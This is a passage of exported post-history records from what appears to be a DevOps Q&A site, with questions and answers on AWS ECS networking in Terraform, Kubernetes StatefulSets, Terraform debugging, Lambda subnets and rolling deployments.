  <row Id="36881" PostHistoryTypeId="2" PostId="11997" RevisionGUID="9f613428-311c-4a65-ad9a-ed82a684ded1" CreationDate="2020-07-14T06:44:29.743" UserId="23150" Text="I have a statefulset app which can have any number of replicas. The pods produced should be able to communicate to external comptures. Those pods must act statefully when clients communicate with them.&#xA;I tried to create headless service and nodeport services, but it still has only one service to communicate with and also couldn't make it to communicate externally. &#xA;How can I make it allocate external ip and port per each port?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36882" PostHistoryTypeId="1" PostId="11997" RevisionGUID="9f613428-311c-4a65-ad9a-ed82a684ded1" CreationDate="2020-07-14T06:44:29.743" UserId="23150" Text="Create service per pod in statefulset" ContentLicense="CC BY-SA 4.0" />
  <row Id="36883" PostHistoryTypeId="3" PostId="11997" RevisionGUID="9f613428-311c-4a65-ad9a-ed82a684ded1" CreationDate="2020-07-14T06:44:29.743" UserId="23150" Text="&lt;kubernetes&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36888" PostHistoryTypeId="2" PostId="11999" RevisionGUID="709d462d-16c4-4688-983a-d5e06a72ece2" CreationDate="2020-07-14T23:08:50.220" UserId="132" Text="First, @Meir beat me to the punch on `awsvpc` network mode, so give him a +1 and read his linked document about task networking.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I'm going to expand on how that and include an description of how to route to your containers from both a public-facing ALB, as well as from another container.&#xD;&#xA;&#xD;&#xA;To simplify things, we're going to pretend we're running on ECS Fargate to start, and at the end I'll point how that would be different for EC2.&#xD;&#xA;&#xD;&#xA;You described two ECS services: one that is public-facing behind the ALB, which we'll call **frontend**, and the other, which communicates to other containers internally, we will call **backend**. &#xD;&#xA;&#xD;&#xA;Here's what **frontend** that might look like in Terraform: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_ecs_task_definition&quot; &quot;frontend&quot; {&#xD;&#xA;  family                   = &quot;frontend&quot;&#xD;&#xA;  network_mode             = &quot;awsvpc&quot;&#xD;&#xA;  requires_compatibilities = [&quot;FARGATE&quot;]&#xD;&#xA;  execution_role_arn       = &quot;&quot; # generic&#xD;&#xA;&#xD;&#xA;  container_definitions = &quot;[]&quot; # not included in example&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_ecs_service&quot; &quot;frontend&quot; {&#xD;&#xA;  name            = &quot;frontend&quot;&#xD;&#xA;  cluster         = &quot;my-ecs-cluster&quot;&#xD;&#xA;  task_definition = aws_ecs_task_definition.frontend.arn&#xD;&#xA;  desired_count   = 2 # high availability&#xD;&#xA;  launch_type     = &quot;FARGATE&quot;&#xD;&#xA;&#xD;&#xA;  network_configuration {&#xD;&#xA;    security_groups = [] # SG allowing traffic from the loadbalancer to port 8080&#xD;&#xA;    subnets = [] # list of private subnets&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  load_balancer {&#xD;&#xA;    target_group_arn = &quot;&quot; # an aws_alb_target_group&#xD;&#xA;    container_name   = &quot;frontend&quot;&#xD;&#xA;    container_port   = 8080&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**backend** would look similar, except instead of a `load_balancer` block it would have this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  service_registries {&#xD;&#xA;    registry_arn = aws_service_discovery_service.internal.arn&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And these new resources:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_service_discovery_private_dns_namespace&quot; &quot;internal&quot; {&#xD;&#xA;  name = &quot;internal.dev&quot;&#xD;&#xA;  vpc  = &quot;&quot; # a vpc id&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_service_discovery_service&quot; &quot;backend&quot; {&#xD;&#xA;  name = &quot;backend&quot;&#xD;&#xA;&#xD;&#xA;  dns_config {&#xD;&#xA;    namespace_id = aws_service_discovery_private_dns_namespace.internal.id&#xD;&#xA;    dns_records {&#xD;&#xA;      ttl  = 10&#xD;&#xA;      type = &quot;A&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Service Discovery creates and manages DNS records for the private IPs (ENIs) of your **backend** tasks automatically. That means `backend.internal.dev` now resolves to one of those IPs in your VPC CIDRs, something like `10.10.0.60`. &#xD;&#xA;&#xD;&#xA;Now when **frontend** wants to connect to **backend**, it can do so via `backend.internal.dev`. No internal ALB required! Your entire VPC can resolve that domain.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*&quot;Okay, but how does this work on EC2?&quot;* you might ask. Well, that's the beauty of `awsvpc` network mode... it works the same way! These task ENIs are completely different network devices than your EC2 instance's ENI. You will need to modify the Terraform slightly, and perhaps review your security groups, but ultimately nothing has changed: the ALB still connects to the **frontend** task ENI, and the **backend** task ENI is still registered in service discovery.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/aws/amazon-ecs-service-discovery/&#xD;&#xA;https://aws.amazon.com/about-aws/whats-new/2019/06/Amazon-ECS-Improves-ENI-Density-Limits-for-awsvpc-Networking-Mode/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36889" PostHistoryTypeId="5" PostId="11999" RevisionGUID="9fb15670-c363-4593-877a-39f5edd262d2" CreationDate="2020-07-14T23:15:36.763" UserId="132" Comment="grammar" Text="First, @Meir beat me to the punch on `awsvpc` network mode, so give him a +1 and read his linked document about task networking.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I'm going to expand on that and include an description of how to route to your containers from both a public-facing ALB, as well as from another container.&#xD;&#xA;&#xD;&#xA;To simplify things, we're going to pretend we're running on ECS Fargate to start, and at the end I'll point how that would be different for EC2.&#xD;&#xA;&#xD;&#xA;You described two ECS services: one that is public-facing behind the ALB, which we'll call **frontend**, and the other, which communicates to other containers internally, we will call **backend**. &#xD;&#xA;&#xD;&#xA;Here's what **frontend** that might look like in Terraform: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_ecs_task_definition&quot; &quot;frontend&quot; {&#xD;&#xA;  family                   = &quot;frontend&quot;&#xD;&#xA;  network_mode             = &quot;awsvpc&quot;&#xD;&#xA;  requires_compatibilities = [&quot;FARGATE&quot;]&#xD;&#xA;  execution_role_arn       = &quot;&quot; # generic&#xD;&#xA;&#xD;&#xA;  container_definitions = &quot;[]&quot; # not included in example&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_ecs_service&quot; &quot;frontend&quot; {&#xD;&#xA;  name            = &quot;frontend&quot;&#xD;&#xA;  cluster         = &quot;my-ecs-cluster&quot;&#xD;&#xA;  task_definition = aws_ecs_task_definition.frontend.arn&#xD;&#xA;  desired_count   = 2 # high availability&#xD;&#xA;  launch_type     = &quot;FARGATE&quot;&#xD;&#xA;&#xD;&#xA;  network_configuration {&#xD;&#xA;    security_groups = [] # SG allowing traffic from the loadbalancer to port 8080&#xD;&#xA;    subnets = [] # list of private subnets&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  load_balancer {&#xD;&#xA;    target_group_arn = &quot;&quot; # an aws_alb_target_group&#xD;&#xA;    container_name   = &quot;frontend&quot;&#xD;&#xA;    container_port   = 8080&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**backend** would look similar, except instead of a `load_balancer` block it would have this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  service_registries {&#xD;&#xA;    registry_arn = aws_service_discovery_service.internal.arn&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And these new resources:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_service_discovery_private_dns_namespace&quot; &quot;internal&quot; {&#xD;&#xA;  name = &quot;internal.dev&quot;&#xD;&#xA;  vpc  = &quot;&quot; # a vpc id&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_service_discovery_service&quot; &quot;backend&quot; {&#xD;&#xA;  name = &quot;backend&quot;&#xD;&#xA;&#xD;&#xA;  dns_config {&#xD;&#xA;    namespace_id = aws_service_discovery_private_dns_namespace.internal.id&#xD;&#xA;    dns_records {&#xD;&#xA;      ttl  = 10&#xD;&#xA;      type = &quot;A&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Service Discovery creates and manages DNS records for the private IPs (ENIs) of your **backend** tasks automatically. That means `backend.internal.dev` now resolves to one of those IPs in your VPC CIDRs, something like `10.10.0.60`. &#xD;&#xA;&#xD;&#xA;Now when **frontend** wants to connect to **backend**, it can do so via `backend.internal.dev`. No internal ALB required! Your entire VPC can resolve that domain.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*&quot;Okay, but how does this work on EC2?&quot;* you might ask. Well, that's the beauty of `awsvpc` network mode... it works the same way! These task ENIs are completely different network devices than your EC2 instance's ENI. You will need to modify the Terraform slightly, and perhaps review your security groups, but ultimately nothing has changed: the ALB still connects to the **frontend** task ENI, and the **backend** task ENI is still registered in service discovery.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/aws/amazon-ecs-service-discovery/&#xD;&#xA;https://aws.amazon.com/about-aws/whats-new/2019/06/Amazon-ECS-Improves-ENI-Density-Limits-for-awsvpc-Networking-Mode/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36890" PostHistoryTypeId="5" PostId="11999" RevisionGUID="ccdbcd21-cfb8-4a6f-b240-a3beadfaf5c7" CreationDate="2020-07-15T00:04:29.007" UserId="132" Comment="included note about multiple containers on same host" Text="First, @Meir beat me to the punch on `awsvpc` network mode, so give him a +1 and read his linked document about task networking.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I'm going to expand on that and include an description of how to route to your containers from both a public-facing ALB, as well as from another container.&#xD;&#xA;&#xD;&#xA;To simplify things, we're going to pretend we're running on ECS Fargate to start, and at the end I'll point how that would be different for EC2.&#xD;&#xA;&#xD;&#xA;You described two ECS services: one that is public-facing behind the ALB, which we'll call **frontend**, and the other, which communicates to other containers internally, we will call **backend**. &#xD;&#xA;&#xD;&#xA;Here's what **frontend** that might look like in Terraform: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_ecs_task_definition&quot; &quot;frontend&quot; {&#xD;&#xA;  family                   = &quot;frontend&quot;&#xD;&#xA;  network_mode             = &quot;awsvpc&quot;&#xD;&#xA;  requires_compatibilities = [&quot;FARGATE&quot;]&#xD;&#xA;  execution_role_arn       = &quot;&quot; # generic&#xD;&#xA;&#xD;&#xA;  container_definitions = &quot;[]&quot; # not included in example&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_ecs_service&quot; &quot;frontend&quot; {&#xD;&#xA;  name            = &quot;frontend&quot;&#xD;&#xA;  cluster         = &quot;my-ecs-cluster&quot;&#xD;&#xA;  task_definition = aws_ecs_task_definition.frontend.arn&#xD;&#xA;  desired_count   = 2 # high availability&#xD;&#xA;  launch_type     = &quot;FARGATE&quot;&#xD;&#xA;&#xD;&#xA;  network_configuration {&#xD;&#xA;    security_groups = [] # SG allowing traffic from the loadbalancer to port 8080&#xD;&#xA;    subnets = [] # list of private subnets&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  load_balancer {&#xD;&#xA;    target_group_arn = &quot;&quot; # an aws_alb_target_group&#xD;&#xA;    container_name   = &quot;frontend&quot;&#xD;&#xA;    container_port   = 8080&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**backend** would look similar, except instead of a `load_balancer` block it would have this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  service_registries {&#xD;&#xA;    registry_arn = aws_service_discovery_service.internal.arn&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And these new resources:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_service_discovery_private_dns_namespace&quot; &quot;internal&quot; {&#xD;&#xA;  name = &quot;internal.dev&quot;&#xD;&#xA;  vpc  = &quot;&quot; # a vpc id&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_service_discovery_service&quot; &quot;backend&quot; {&#xD;&#xA;  name = &quot;backend&quot;&#xD;&#xA;&#xD;&#xA;  dns_config {&#xD;&#xA;    namespace_id = aws_service_discovery_private_dns_namespace.internal.id&#xD;&#xA;    dns_records {&#xD;&#xA;      ttl  = 10&#xD;&#xA;      type = &quot;A&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Service Discovery creates and manages DNS records for the private IPs (ENIs) of your **backend** tasks automatically. That means `backend.internal.dev` now resolves to one of those IPs in your VPC CIDRs, something like `10.10.0.60`. &#xD;&#xA;&#xD;&#xA;Now when **frontend** wants to connect to **backend**, it can do so via `backend.internal.dev`. No internal ALB required! Your entire VPC can resolve that domain.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*&quot;Okay, but how does this work on EC2?&quot;* you might ask. Well, that's the beauty of `awsvpc` network mode... it works the same way! These task ENIs are completely different network devices than your EC2 instance's ENI. You will need to modify the Terraform slightly, and perhaps review your security groups, but ultimately nothing has changed: the ALB still connects to the **frontend** task ENI, and the **backend** task ENI is still registered in service discovery. You can run multiples of the same container on a single EC2 instance without port collision because they are using different network interfaces.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/aws/amazon-ecs-service-discovery/&#xD;&#xA;https://aws.amazon.com/about-aws/whats-new/2019/06/Amazon-ECS-Improves-ENI-Density-Limits-for-awsvpc-Networking-Mode/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36894" PostHistoryTypeId="2" PostId="12001" RevisionGUID="a5637cb3-5d9c-4361-88e4-379bc8cae5ac" CreationDate="2020-07-15T09:30:45.030" UserId="23163" Text="For anyone came here to solve this problem without any workarounds - the solution is simple.&#xD;&#xA;&#xD;&#xA;We need to add switch `--cache` to the kubeconfig for a user used to access a Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;users:&#xD;&#xA;- name: &lt;redacted&gt;&#xD;&#xA;  user:&#xD;&#xA;    exec:&#xD;&#xA;      apiVersion: client.authentication.k8s.io/v1alpha1&#xD;&#xA;      args:&#xD;&#xA;      - token&#xD;&#xA;      - --cache&#xD;&#xA;      - -i&#xD;&#xA;      - prod&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Tested on:&#xD;&#xA;```&#xD;&#xA;$ aws-iam-authenticator version&#xD;&#xA;{&quot;Version&quot;:&quot;v0.5.1&quot;,&quot;Commit&quot;:&quot;d7c0b2e9131faabb2b09dd804a35ee03822f8447&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Hope this will help someone." ContentLicense="CC BY-SA 4.0" />
  <row Id="36895" PostHistoryTypeId="2" PostId="12002" RevisionGUID="5e4e4c13-94e4-4c28-875e-53bc49784e0a" CreationDate="2020-07-15T09:30:52.103" UserId="3083" Text="Is there any way to include verbose / debugging output in Terraform / Terragrunt?&#xD;&#xA;&#xD;&#xA;I'm new to the language, and often struggle with knowing exactly what's going on.  It would be helpful for me to be able to inspect certain values; e.g. to confirm that locals &amp; variables have the values I expect, to get the ids of created components, etc.&#xD;&#xA;&#xD;&#xA;I can include such info by creating outputs and assigning values there; but if I'm debugging a module I then have to include the output in the module's output, and again in the calling code's output for it to be visible; then have to delete those entries before delivering the solution.&#xD;&#xA;&#xD;&#xA;I'd like a solution more like C#'s `Debug.WriteLine(/*...*/)` or PowerShell's `Write-Verbose #...` i.e. somewhere I can say what value I'd like to inspect, but have that output only show in the terminal when run with verbose output enabled, so these statements can be toggled on when needed, rather than impacting the delivered solution.&#xD;&#xA;&#xD;&#xA;Does anything like this exist in the language?  So far I've found nothing documented or by Googling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36896" PostHistoryTypeId="1" PostId="12002" RevisionGUID="5e4e4c13-94e4-4c28-875e-53bc49784e0a" CreationDate="2020-07-15T09:30:52.103" UserId="3083" Text="Include verbose output in terraform/terragrunt" ContentLicense="CC BY-SA 4.0" />
  <row Id="36897" PostHistoryTypeId="3" PostId="12002" RevisionGUID="5e4e4c13-94e4-4c28-875e-53bc49784e0a" CreationDate="2020-07-15T09:30:52.103" UserId="3083" Text="&lt;terraform&gt;&lt;terraform-module&gt;&lt;terraform-workspace&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36898" PostHistoryTypeId="2" PostId="12003" RevisionGUID="24799f3f-0e25-47bf-aa87-204b420e8834" CreationDate="2020-07-15T09:39:59.380" UserId="23163" Text="Just to clarify if I got you right.&#xD;&#xA;&#xD;&#xA;Do you want to have a separate service for every pod/replica in your statefulSet?&#xD;&#xA;&#xD;&#xA;If so - this is not how K8s sees services being used. The service is used for grouping and load balancing purposes.&#xD;&#xA;&#xD;&#xA;In your case, if you want to have 1-on-1 connection between an external client and a pod, I suggest deploying your statefulSet a number of times with `replicas=1` and exposing a service (as NodePort/LB) every time." ContentLicense="CC BY-SA 4.0" />
  <row Id="36899" PostHistoryTypeId="5" PostId="12002" RevisionGUID="caa20a0a-4441-4f4f-b1f1-f3af91923ab8" CreationDate="2020-07-15T10:09:10.830" UserId="3083" Comment="Added a side note on TF_LOG, as I'd not mentioned above / suspect some may interpret that as answering my question." Text="Is there any way to include verbose / debugging output in Terraform / Terragrunt?&#xD;&#xA;&#xD;&#xA;I'm new to the language, and often struggle with knowing exactly what's going on.  It would be helpful for me to be able to inspect certain values; e.g. to confirm that locals &amp; variables have the values I expect, to get the ids of created components, etc.&#xD;&#xA;&#xD;&#xA;I can include such info by creating outputs and assigning values there; but if I'm debugging a module I then have to include the output in the module's output, and again in the calling code's output for it to be visible; then have to delete those entries before delivering the solution.&#xD;&#xA;&#xD;&#xA;I'd like a solution more like C#'s `Debug.WriteLine(/*...*/)` or PowerShell's `Write-Verbose #...` i.e. somewhere I can say what value I'd like to inspect, but have that output only show in the terminal when run with verbose output enabled, so these statements can be toggled on when needed, rather than impacting the delivered solution.&#xD;&#xA;&#xD;&#xA;Does anything like this exist in the language?  So far I've found nothing documented or by Googling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: The `TF_LOG` environment variable documented [here][1] is helpful for providing more info on what's going on under the covers; but only allows you to see predefined output; not to push your own content to the output stream.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/internals/debugging.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36903" PostHistoryTypeId="2" PostId="12005" RevisionGUID="86cdb486-f1e8-4f6e-b029-c3142216b5fc" CreationDate="2020-07-15T16:20:29.503" UserId="17435" Text="Your CloudFormation template currently has the following resources:&#xD;&#xA;&#xD;&#xA;* A Launch Configuration&#xD;&#xA;* An Auto Scaling Group&#xD;&#xA;* A Load Balancer&#xD;&#xA;&#xD;&#xA;Follow these steps in sequence to attach the auto scaling group to the load balancer:&#xD;&#xA;&#xD;&#xA;1. Add a listener resource to your CloudFormation template, as described [here](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listener.html). Set its `LoadBalancerArn` property to the load balancer's ARN.&#xD;&#xA;&#xD;&#xA;2. Add a target group resource to your CloudFormation template, as described [here](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-targetgroup.html).&#xD;&#xA;&#xD;&#xA;3. Add a &quot;listener rule&quot; resource to your CloudFormation template, as described [here](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listenerrule.html). Set its `ListenerArn` property to the listener's ARN. In its `Actions` property, add a `forward` action &amp; provide the target group's ARN like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Actions:&#xD;&#xA;- Type: forward&#xD;&#xA;  TargetGroupArn: !Ref MyTargetGroup&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;4. Add the target group's ARN to the `TargetGroupARNs` property of the auto scaling group, as described [here](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-as-group.html#cfn-as-group-targetgrouparns).&#xD;&#xA;&#xD;&#xA;If you prefer to visualize a chain of CloudFormation resources linking the load balancer to the auto scaling group, it'll look like this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Here's a complete example: [LB to ASG Example](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listenerrule.html#aws-resource-elasticloadbalancingv2-listenerrule--examples--HTTP_Header_Rule_Example--yaml).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OaeBH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36904" PostHistoryTypeId="2" PostId="12006" RevisionGUID="5e04777f-4277-4d62-ab0f-78551c02e1fb" CreationDate="2020-07-16T06:48:54.153" UserId="17276" Text="Am I right in thinking giving a lambda using an API gateway 3 subnets each with a range of 16 would result in 2 subnets being used at once and 1 IP used for the API gateway that is in the same subnets resulting in a max of 31 invocations before the error code 429 is returned due to Too Many Requests. &#xD;&#xA;This is my thinking as there should be no other resources using an ip address that will be in these subnets but I can see testing it as being complicated and taking a very significant amount of time with my current knowledge." ContentLicense="CC BY-SA 4.0" />
  <row Id="36905" PostHistoryTypeId="1" PostId="12006" RevisionGUID="5e04777f-4277-4d62-ab0f-78551c02e1fb" CreationDate="2020-07-16T06:48:54.153" UserId="17276" Text="AWS subnets for lambda synchronous invocations" ContentLicense="CC BY-SA 4.0" />
  <row Id="36906" PostHistoryTypeId="3" PostId="12006" RevisionGUID="5e04777f-4277-4d62-ab0f-78551c02e1fb" CreationDate="2020-07-16T06:48:54.153" UserId="17276" Text="&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36907" PostHistoryTypeId="2" PostId="12007" RevisionGUID="503e18e9-18a7-498e-ae4b-911680a4db16" CreationDate="2020-07-16T09:20:00.470" UserId="23182" Text="My team (full stack) team develops single-page web applications using react as a client and spring-boot java apps as back-end.&#xD;&#xA;&#xD;&#xA;We deploy the applications on kubernetes. However, we have troubles making rolling updates of the kubernetes pods seamless. Here's our packaging / deployment process:&#xD;&#xA;&#xD;&#xA;1) The CI pipeline builds a docker images packaging the java application as an executable jar file and the compile javascript/css assets that form the react client.&#xD;&#xA;2) That image has 2 entry points: one for starting the jar file (java back-end) and one which starts an nginx that serves the client assets (js/css).&#xD;&#xA;3) A haproxy cluster routes requests based on URL paths to either nginx or the java back-end.&#xD;&#xA;&#xD;&#xA;This approach works fine so far.&#xD;&#xA;&#xD;&#xA;However, during a rolling update, there will be a number of pods with an &quot;old&quot; java back-end. This leads to the situation that clients with a newly deployed version of the react client&#xD;&#xA;make requests to old java back-ends, because haproxy simply routes api traffic to any available java backend.&#xD;&#xA;&#xD;&#xA;As i understand haproxy seems to have support for sticky-backends based on some rules, but this defeats the purpose of having a cluster of backends for load-balancing.&#xD;&#xA;&#xD;&#xA;How do others tackle this problem? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36908" PostHistoryTypeId="1" PostId="12007" RevisionGUID="503e18e9-18a7-498e-ae4b-911680a4db16" CreationDate="2020-07-16T09:20:00.470" UserId="23182" Text="Deploying a single-page web application with a java backend on kubernetes and haproxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="36909" PostHistoryTypeId="3" PostId="12007" RevisionGUID="503e18e9-18a7-498e-ae4b-911680a4db16" CreationDate="2020-07-16T09:20:00.470" UserId="23182" Text="&lt;kubernetes&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36910" PostHistoryTypeId="2" PostId="12008" RevisionGUID="350d80a3-d4e7-4697-8cf8-0c15bd86ce7c" CreationDate="2020-07-16T09:49:27.207" UserId="23183" Text="I Just started my career as a  BA. As the first task, I have to study about operational support systems like ansible tower. I could not find any references to study about this. What are the similar operational support systems to ansible tower? Are there any references to study about them. thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36911" PostHistoryTypeId="1" PostId="12008" RevisionGUID="350d80a3-d4e7-4697-8cf8-0c15bd86ce7c" CreationDate="2020-07-16T09:49:27.207" UserId="23183" Text="Clarification about Operational Support System" ContentLicense="CC BY-SA 4.0" />
  <row Id="36912" PostHistoryTypeId="3" PostId="12008" RevisionGUID="350d80a3-d4e7-4697-8cf8-0c15bd86ce7c" CreationDate="2020-07-16T09:49:27.207" UserId="23183" Text="&lt;ansible&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36913" PostHistoryTypeId="2" PostId="12009" RevisionGUID="81533275-1a0f-4106-b8af-631616fd2891" CreationDate="2020-07-16T10:10:57.190" UserId="23187" Text="I'm a developer on an agent software team, researching ways to streamline the mass deployment of our agent on clients' machines. Currently the process involves running a script to determine the exact package needed, downloading a bsx from our company's FTP and running it, followed by running an executable with flags for registration.&#xA;&#xA;I've looked into Ansible as a possible improvement, however I'm unclear on the value it provides in such a case. What's more, I'm not sure I'm the right person to be authoring the clients' playbooks for such a thing. At this point it would appear to me that developing our own script to further automate the process would be a better solution, and let the customer DevOps team deploy it in whichever way they see fit.&#xA;&#xA;Before I present these findings to my managers, I would appreciate any opinions on the matter the community could provide." ContentLicense="CC BY-SA 4.0" />
  <row Id="36914" PostHistoryTypeId="1" PostId="12009" RevisionGUID="81533275-1a0f-4106-b8af-631616fd2891" CreationDate="2020-07-16T10:10:57.190" UserId="23187" Text="Improving deployment process of agent software" ContentLicense="CC BY-SA 4.0" />
  <row Id="36915" PostHistoryTypeId="3" PostId="12009" RevisionGUID="81533275-1a0f-4106-b8af-631616fd2891" CreationDate="2020-07-16T10:10:57.190" UserId="23187" Text="&lt;ansible&gt;&lt;deployment&gt;&lt;practices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36916" PostHistoryTypeId="50" PostId="3247" RevisionGUID="acb30129-7254-4562-a40b-9da1338b3ff2" CreationDate="2020-07-16T12:02:05.383" UserId="-1" />
  <row Id="36917" PostHistoryTypeId="2" PostId="12010" RevisionGUID="a68d3aee-a0a3-4bee-b074-0c8a5bc13cc6" CreationDate="2020-07-16T12:43:45.270" UserId="19963" Text="Modern way to achieve seamless roll-out in this scenario is not on the load balancing (i.e. haproxy) side, but instead via proper deployment planning, backward compatibility and/or feature flags.&#xD;&#xA;&#xD;&#xA;The issue with load-balancer tinkering is that in the end of day even if you get sticky sessions right it's not going to solve your problem. The reason for that - imagine a user that opened your app in a browser with old react. Underneath, you deploy new java back-end. If the user doesn't reload her browser - she's still going to use old react app with new back-end no matter what (just because javascript is already loaded to the browser).&#xD;&#xA;&#xD;&#xA;Instead, look at following example how you can achieve it using API versioning:&#xD;&#xA;&#xD;&#xA; - Let's assume that data model on one of your api end-points is going to change&#xD;&#xA; - Let's say your old api was /v1 (or even un-versioned)&#xD;&#xA;&#xD;&#xA;Here is how you can solve it:&#xD;&#xA; 1. You create /v2 version of your api, register /v2 version in your react app&#xD;&#xA; 2. Your latest java back-end needs to still have both /v1 and /v2&#xD;&#xA; 3. You first deploy all java back-ends to your back-end deployment with /v2 support (all your UI is still /v1 - but this is fine, because latest back-end supports it)&#xD;&#xA; 4. Once all back-ends are deployed, you can start roll-out of your UI deployment with latest image (again, experience is seamless since all back-ends support both /v1 and /v2)&#xD;&#xA;&#xD;&#xA;As you can see, in the above approach, version conflict is avoided and experience is seamless.&#xD;&#xA;&#xD;&#xA;P.s. You might want to consider splitting your docker image in 2 - it's a little odd to have a multi-purpose image with 2 entrypoints. There may be little justification for this design." ContentLicense="CC BY-SA 4.0" />
  <row Id="36918" PostHistoryTypeId="2" PostId="12011" RevisionGUID="4f932c2e-7e73-4429-be13-46c32d6db4c2" CreationDate="2020-07-16T13:00:12.280" UserId="17435" Text="Follow these steps to fix `InvalidCiphertextException`:&#xD;&#xA;&#xD;&#xA;1. Open the Lambda function in AWS console.&#xD;&#xA;&#xD;&#xA;2. Scroll down to the `Environment Variables` section &amp; click `Edit`:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;3. Delete the value of `kmsEncryptedCustomerToken` &amp; replace it with the customer token you got from `https://&lt;your-company&gt;.loggly.com/tokens`. The token looks like this: `72cf6d64-256e-449d-aabd-49e1f422ed58`.&#xD;&#xA;&#xD;&#xA;4. Expand the `Encryption Configuration` section at the bottom.&#xD;&#xA;&#xD;&#xA;5. Select `Enable helpers for encryption in transit`.&#xD;&#xA;&#xD;&#xA;6. Click the `Encrypt` button that appears next to `kmsEncryptedCustomerToken`.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;7. Select the `logglyCustomerToken` KMS key (CMK) &amp; `Encrypt`.&#xD;&#xA;&#xD;&#xA;8. Finally, `Save` the environment variables.&#xD;&#xA;&#xD;&#xA;The Lambda function test should succeed now. If you face any other issues or need a complete end-to-end screenshot-guided tutorial for the 